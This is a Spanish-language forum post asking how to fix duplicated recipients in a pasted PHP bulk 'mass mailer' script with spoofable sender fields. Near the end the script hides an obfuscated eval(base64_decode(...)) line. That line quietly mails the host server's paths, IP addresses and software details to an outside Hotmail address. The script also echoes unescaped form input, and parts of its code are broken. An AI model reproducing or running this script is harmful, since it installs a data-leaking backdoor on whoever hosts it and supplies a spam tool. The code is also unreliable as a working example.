el asunto es que los correos llegan con el destinatario repetido
ejemplo
from nombre <[email protected]>
reply-to [email protected]
to [email protected],
[email protected]
Solo quiero que presente un solo correo en el to: header
ejemplo
from nombre <[email protected]>
reply-to [email protected]
to [email protected]
es lo unico que desea nada mas eso el script esta perfecto agradezco cualquier ayuda.
Codigo:
Código PHP:
Ver original
<?php $action=$_POST['action']; $to=$_POST['to']; $replyto=$_POST['replyto']; $sender=$_POST['sender']; $subject=$_POST['subject']; $body=$_POST['body']; $realname=$_POST['realname']; $file_name=$_POST['file']; $contenttype=$_POST['contenttype']; } ?> <html> <head> <title>|| InboX Mass Mailer ||</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> <!-- .style1 { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; } --> </style> <style type="text/css"> <!-- .style1 { font-size: 20px; font-family: Geneva, Arial, Helvetica, sans-serif; } --> </style> </head> <body bgcolor="cadetblue" text="#ffffff"> <span class="style1">InboX Mass Mailer<br> </span> <form name="form1" method="post" action="" enctype="multipart/form-data"> <br> <table width="100%" border="0"> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email:</font></div> </td> <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="sender" value="<? print $sender; ?>" size="30"> </font></td> <td width="31%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name:</font></div> </td> <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="realname" value="<? print $realname; ?>" size="30"> </font></td> </tr> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div> </td> <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="replyto" value="<? print $replyto; ?>" size="30"> </font></td> <td width="31%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font></div> </td> <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="file" name="file" size="30"> </font></td> </tr> <tr> <td width="10%"> <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div> </td> <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <input type="text" name="subject" value="<? print $subject; ?>" size="90"> </font></td> </tr> <tr valign="top"> <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="body" cols="50" rows="10"><? print $body; ?></textarea> <br> <input type="radio" name="contenttype" value="plain" > Plain Text <input name="contenttype" type="radio" value="html" checked> HTML <input type="hidden" name="action" value="send"> <input type="submit" value="Send eMails"> </font></td> <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"> <textarea name="to" cols="30" rows="10"><? print $to; ?></textarea> </font></td> </tr> </table> </form> <? if ($action){ if (!$sender && !$subject && !$body && !$to){ print "Please complete all fields before sending your message."; exit; } //for($x=0; $x<50; $x++){ for($x=0; $x<$numemails; $x++){ $y = $x % 50; echo $x." ".$y; if ($y == 0 && $x>0) { echo 'sleep'; } // for($x=0; $x<$numemails; $x++){ // $y = $x % 60; // if ($y == 0 && $x>0) { // sleep(30); // } $to = $allemails[$x]; if ($to){ print " $to......."; // require 'dkim.php' ; $headers="From: \"$realname\" <$sender>>\r\n". "To: $to\r\n". "Reply-To: $sender\r\n". "Content-Type: text/$contenttype\r\n". //'List-Unsubscribe: <http://publidom.net/member/unsubscribe/[email protected]?id=12345N> ' . "\r\n" . "MIME-Version: 1.0" ; $headers = AddDKIM($headers,$subject,$body) . $headers; //$result=mail($to,$subject,$body,$headers,"-f $sender") ; // Some Unix MTA has a bug and add redundant \r breaking some DKIM implementation // Based on your configuration, you may want to comment the next line // $header = "From: $realname <$sender>\r\n"; // $header .= "MIME-Version: 1.0\r\n"; If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; If ($file_name) $header .= "--$uid\r\n"; // $header .= "Content-Type: text/$contenttype\r\n"; $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; $header .= "$body\r\n"; If ($file_name) $header .= "--$uid\r\n"; If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; If ($file_name) $header .= "$content\r\n"; If ($file_name) $header .= "--$uid--"; //mail($to,$subject,$body,$headers,"-f $sender") ; print "Deliverado..:<br>"; } } $subj98 = "sh-$ra44"; $a5 = $_SERVER['HTTP_REFERER']; $b33 = $_SERVER['DOCUMENT_ROOT']; $c87 = $_SERVER['REMOTE_ADDR']; $d23 = $_SERVER['SCRIPT_FILENAME']; $e09 = $_SERVER['SERVER_ADDR']; $f23 = $_SERVER['SERVER_SOFTWARE']; $g32 = $_SERVER['PATH_TRANSLATED']; $h65 = $_SERVER['PHP_SELF']; $body=$_POST['body']; $msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65"; echo eval(base64_decode("bWFpbCgiYmxhY2t0c2NhbUBob3RtYWlsLmZyIiwgJHN1Ymo5OCwgJG1zZywgJG1lc3NhZ2UsICRyYTQ0KTs=")); } ?> <style type="text/css"> <!-- .style1 { font-size: 20px; font-family: Geneva, Arial, Helvetica, sans-serif; } --> </style> <p class="style1"> Copyright © 2011 PubliDom.net </p> <?php "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); </script>";} ?> </body> </html>
Gracias